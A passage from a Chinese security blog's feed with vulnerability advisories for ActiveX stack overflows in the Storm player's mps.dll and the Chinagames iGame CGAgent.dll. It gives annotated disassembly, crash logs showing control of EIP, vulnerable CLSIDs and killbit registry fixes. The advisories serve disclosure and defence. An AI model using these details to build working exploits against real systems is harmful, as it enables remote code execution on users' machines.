<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB80                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; Str</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB81                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>strstr       <span style="color: #666666; font-style: italic;">;检查下传递进来的参数是否含有&quot;stormbox&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB87                 <span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">8</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB8A                 <span style="color: #00007f; font-weight: bold;">test</span>    <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB8C                 <span style="color: #00007f; font-weight: bold;">jnz</span>     loc_1005ED67    <span style="color: #666666; font-style: italic;">;没有！那就xxoo了</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB92                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpString2</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB93                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">1358h</span><span style="color: #339933;">+</span>var_1034<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB9A                 <span style="color: #00007f; font-weight: bold;">call</span>    sub_10060320
<span style="color: #339933;">...</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060320</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060321</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060322</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">8</span><span style="color: #339933;">+</span>lpString2<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060326</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060328</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>             <span style="color: #666666; font-style: italic;">; lpString</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060329</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #000000; font-weight: bold;">ptr</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esi</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">offset</span> off_1007C5A4
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">1006032F</span>                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>lstrlenA
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060335</span>                 <span style="color: #00007f; font-weight: bold;">inc</span>     <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060336</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; iMaxLength,唉，上面这是最后一次调用函数来进行长度检查，但是这里仅仅是为了这个最大值参数，</span>
             <span style="color: #666666; font-style: italic;">; 还是没有考虑合法性-_-</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060337</span>                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esi</span><span style="color: #339933;">+</span><span style="color: #0000ff;">4</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1006033A                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>             <span style="color: #666666; font-style: italic;">; lpString2</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1006033B                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; lpString1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1006033C                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>lstrcpynA    <span style="color: #666666; font-style: italic;">; 拷贝到eax指向的堆栈区域，为即将到来的溢出做热身运动</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060342</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060344</span>                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060345</span>                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060346</span>                 <span style="color: #00007f; font-weight: bold;">retn</span>    <span style="color: #0000ff;">4</span>
<span style="color: #339933;">...</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED70                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED71                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED72                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">ebp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED73                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #000000; font-weight: bold;">large</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #0000ff;">0</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED7A                 <span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1348h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED80                 <span style="color: #00007f; font-weight: bold;">retn</span>    <span style="color: #0000ff;">14h</span>        <span style="color: #666666; font-style: italic;">; 就这样返回，哦豁了</span></pre></td></tr></table></div>

<p> <br />
ModLoad: 41f50000 41fc7000   C:\WINDOWS\system32\mshtmled.dll<br />
ModLoad: 10000000 100e2000   C:\Program Files\StormII\mps.dll<br />
ModLoad: 75ff0000 76055000   C:\Program Files\StormII\MSVCP60.dll<br />
ModLoad: 02c60000 02c96000   C:\Program Files\StormII\meedb.dll<br />
ModLoad: 02ca0000 02d2e000   C:\Program Files\StormII\splayers.dll<br />
ModLoad: 02730000 0274e000   C:\Program Files\StormII\rndrmgr.dll<br />
ModLoad: 02d30000 02e48000   C:\Program Files\StormII\SubDecoder.dll<br />
ModLoad: 4b640000 4b7e6000   C:\WINDOWS\system32\d3d9.dll<br />
ModLoad: 6dd20000 6dd26000   C:\WINDOWS\system32\d3d8thk.dll<br />
ModLoad: 736d0000 73719000   C:\WINDOWS\system32\DDRAW.dll<br />
ModLoad: 73b30000 73b36000   C:\WINDOWS\system32\DCIMAN32.dll<br />
ModLoad: 74be0000 74c0c000   C:\WINDOWS\system32\OLEACC.dll<br />
ModLoad: 72f70000 72f96000   C:\WINDOWS\system32\WINSPOOL.DRV<br />
ModLoad: 76320000 76367000   C:\WINDOWS\system32\COMDLG32.dll<br />
ModLoad: 02eb0000 02ed2000   C:\Program Files\StormII\mediainfo.dll<br />
ModLoad: 719c0000 719fe000   C:\WINDOWS\system32\mswsock.dll<br />
ModLoad: 60fd0000 61025000   C:\WINDOWS\system32\hnetcfg.dll<br />
ModLoad: 71a00000 71a08000   C:\WINDOWS\System32\wshtcpip.dll<br />
ModLoad: 7cf70000 7d0d8000   C:\WINDOWS\system32\quartz.dll<br />
ModLoad: 63380000 633f8000   C:\WINDOWS\system32\jscript.dll<br />
(a0.8b0): Access violation &#8211; code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=ffffff00 ebx=01b3f33c ecx=41414141 edx=00142f90 esi=01b3f328 edi=01b3f340<br />
eip=41414141 esp=0175f588 ebp=01b3f338 iopl=0         nv up ei pl nz ac po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210212<br />
41414141 ??              ???<br />
解决办法:<br />
在厂商没有推出相应的补丁之前，<br />
建议用户通过注册表对相应的CLSID:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB设置Killbit<br />
或者将以下文本保存为.REG文件并导入:<br />
Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]<br />
&#8220;Compatibility Flags&#8221;=dword:00000400</p>
<p>&#8211;EOF&#8211;</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/96#comment-80">2009年09月24日</a>, <a href='http://blog.duba.net/post/baofengyingyin2009beibaoxin0dayanquanloudongjinshanwangdunwanmeilanjie2009-5-3gengxin.php' rel='external nofollow' class='url'>暴风影音2009被爆新0day安全漏洞,金山网盾完美拦截（2009-5-3更新） &laquo; 金山毒霸官方博客|Kingsoft Internet Security Blog</a> writes: [...] 或者直接双击运行导入fix_baofeng_0day.reg参考：暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞BaoFeng (mps.dll) Remote Code Execution Exploit   标签：0-day, config.dll, mps.dll, 暴风  评论 (4) , 阅读 (2285) [...]</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/96/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</title>
		<link>http://www.softrce.net/archives/83</link>
		<comments>http://www.softrce.net/archives/83#comments</comments>
		<pubDate>Thu, 30 Apr 2009 14:18:04 +0000</pubDate>
		<dc:creator>bugvuln</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=83</guid>
		<description><![CDATA[中国游戏中心游戏大厅ActiveX远程栈溢出漏洞
by bugvuln(bugvuln_at_gmail.com)
      niklen(niklenxyz_at_gmail.com)

描述:
中国游戏中心是中国一款著名的游戏平台，含棋牌，网络游戏等
http://www.chinagames.net... ]]></description>
			<content:encoded><![CDATA[<p>中国游戏中心游戏大厅ActiveX远程栈溢出漏洞<br />
by bugvuln(bugvuln_at_gmail.com)<br />
      niklen(niklenxyz_at_gmail.com)</p>
<p>描述:<br />
中国游戏中心是中国一款著名的游戏平台，含棋牌，网络游戏等<br />
<a href="http://www.chinagames.net/" target="_blank">http://www.chinagames.net/</a></p>
<p>受影响的系统:<br />
中国游戏中心游戏大厅2009<br />
<span id="more-83"></span><br />
细节:<br />
clsid:75108B29-202F-493C-86C5-1C182A485C4C<br />
C:\Program Files\Chinagames\iGame\CGAgent.dll<br />
Sub CreateChinagames (ByVal lpszToken  As String)</p>
<p>参数lpszToken是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码</p>
<p>分析:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p83code5'); return false;">View Code</a> ASM</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p835"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
</pre></td><td class="code" id="p83code5"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10001234</span>                 <span style="color: #00007f; font-weight: bold;">cmp</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>lpString2<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esi</span> <span style="color: #666666; font-style: italic;">; 只判断了参数是否为空，但是没有判断长度-_-!!!</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10001237</span>                 <span style="color: #00007f; font-weight: bold;">jnz</span>     <span style="color: #000000; font-weight: bold;">short</span> loc_10001243
<span style="color: #339933;">...</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10001295</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #000000; font-weight: bold;">offset</span> aIgame_exe <span style="color: #666666; font-style: italic;">; &quot;\\igame.exe &quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000129A                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; lpString1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000129B                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">edi</span> <span style="color: #666666; font-style: italic;">; lstrcatW</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000129D                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>lpString2<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; lpString2</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A0                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String1<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A6                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; lpString1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A7                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">edi</span> <span style="color: #666666; font-style: italic;">; lstrcatW  ; 没有对传递给igame.exe的参数进行长度检查，直接连接，</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A7                                         <span style="color: #666666; font-style: italic;">; 这下子，eax指向的堆栈区域都被非法参数给占领了-_-！</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A7                                         <span style="color: #666666; font-style: italic;">;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A9                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #0000ff;">44h</span>             <span style="color: #666666; font-style: italic;">; 结构体长度</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012AB                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Dst<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012AE                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; Val</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012AF                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; Dst</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012B0                 <span style="color: #00007f; font-weight: bold;">call</span>    memset          <span style="color: #666666; font-style: italic;">; 为STARTUPINFO作准备</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012B5                 <span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0Ch</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012B8                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>ProcessInformation<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012BB                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Dst<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">44h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C2                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; lpProcessInformation</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C3                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Dst<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C6                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; lpStartupInfo</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C7                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpCurrentDirectory</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C8                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpEnvironment</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C9                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #0000ff;">10h</span>             <span style="color: #666666; font-style: italic;">; dwCreationFlags</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012CB                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; bInheritHandles</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012CC                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpThreadAttributes</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012CD                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String1<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012D3                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpProcessAttributes</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012D4                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; [igame.exe 参数]</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012D5                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpApplicationName</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012D6                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>CreateProcessW <span style="color: #666666; font-style: italic;">; 创建进程</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012DC                 <span style="color: #00007f; font-weight: bold;">test</span>    <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012DE                 <span style="color: #00007f; font-weight: bold;">jz</span>      <span style="color: #000000; font-weight: bold;">short</span> loc_100012F0 <span style="color: #666666; font-style: italic;">; 成功了，继续xxoo</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E0</span>                 <span style="color: #00007f; font-weight: bold;">xor</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E2</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E2</span> loc_100012E2<span style="color: #339933;">:</span>                           <span style="color: #666666; font-style: italic;">; CODE XREF: sub_10001218+26j</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E2</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>var_4<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; (.text:100012A7)处那里导致把这里给覆盖了</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E5</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>var_8<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; 同上</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E8</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ecx</span><span style="color: #339933;">+</span><span style="color: #0000ff;">4</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">edx</span>    <span style="color: #666666; font-style: italic;">; 互爆#_#</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012EB                 <span style="color: #00007f; font-weight: bold;">jmp</span>     loc_10001429
<span style="color: #339933;">...</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10001429</span> loc_10001429<span style="color: #339933;">:</span>                           <span style="color: #666666; font-style: italic;">; CODE XREF: sub_10001218+D3j</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10001429</span>                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000142A                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000142B                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">ebx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000142C                 <span style="color: #00007f; font-weight: bold;">leave</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000142D                 <span style="color: #00007f; font-weight: bold;">retn</span>    <span style="color: #0000ff;">8</span>               <span style="color: #666666; font-style: italic;">; 就这样返回，哦豁了</span></pre></td></tr></table></div>

<p>ModLoad: 01d10000 01d1d000   C:\Program Files\Chinagames\iGame\CGAgent.dll<br />
ModLoad: 5f800000 5f8f2000   C:\windows\system32\MFC42u.DLL<br />
ModLoad: 61be0000 61bed000   C:\windows\system32\MFC42LOC.DLL<br />
ModLoad: 75bc0000 75c3d000   C:\WINDOWS\system32\jscript.dll<br />
(39c.28c): Access violation &#8211; code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=41baf50e ebx=01d153ec ecx=00410041 edx=00410041 esi=003bd4f0 edi=00000000<br />
eip=00410049 esp=01cff5ec ebp=00410041 iopl=0         nv up ei ng nz ac pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010296<br />
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\internet explorer\iexplore.exe<br />
iexplore+0&#215;10049:<br />
00410049 004000          add     byte ptr [eax],al          ds:0023:41baf50e=??</p>
<p>解决办法:<br />
在厂商没有推出相应的补丁之前，<br />
建议用户通过注册表对相应的CLSID:75108B29-202F-493C-86C5-1C182A485C4C设置Killbit<br />
或者将以下文本保存为.REG文件并导入:<br />
Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{75108B29-202F-493C-86C5-1C182A485C4C}]<br />
&#8220;Compatibility Flags&#8221;=dword:00000400</p>
<p>厂商回应:<br />
2009.04.29 发邮件给<a href="mailto:gmservice@chinagames.net">gmservice@chinagames.net</a><br />
2009.04.30 木有收到回复。再发送了一封邮件<br />
2009.04.30 还是不甩??发布此公告</p>
<p>&#8211;EOF&#8211;</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/83#comment-34">2009年04月30日</a>, lk writes: 太有才了。。。</li><li><a href="http://www.softrce.net/archives/83#comment-35">2009年04月30日</a>, ayarei writes: 楼主适当地方断页吧，太占首页的地方了:)</li><li><a href="http://www.softrce.net/archives/83#comment-36">2009年04月30日</a>, lk writes: 我等着抓网马，我等着抓网马~~~</li><li><a href="http://www.softrce.net/archives/83#comment-37">2009年04月30日</a>, ayarei writes: rp有问题啊你~~</li><li><a href="http://www.softrce.net/archives/83#comment-39">2009年05月1日</a>, lk writes: 牛MM咋又跑来上网了。。。</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" 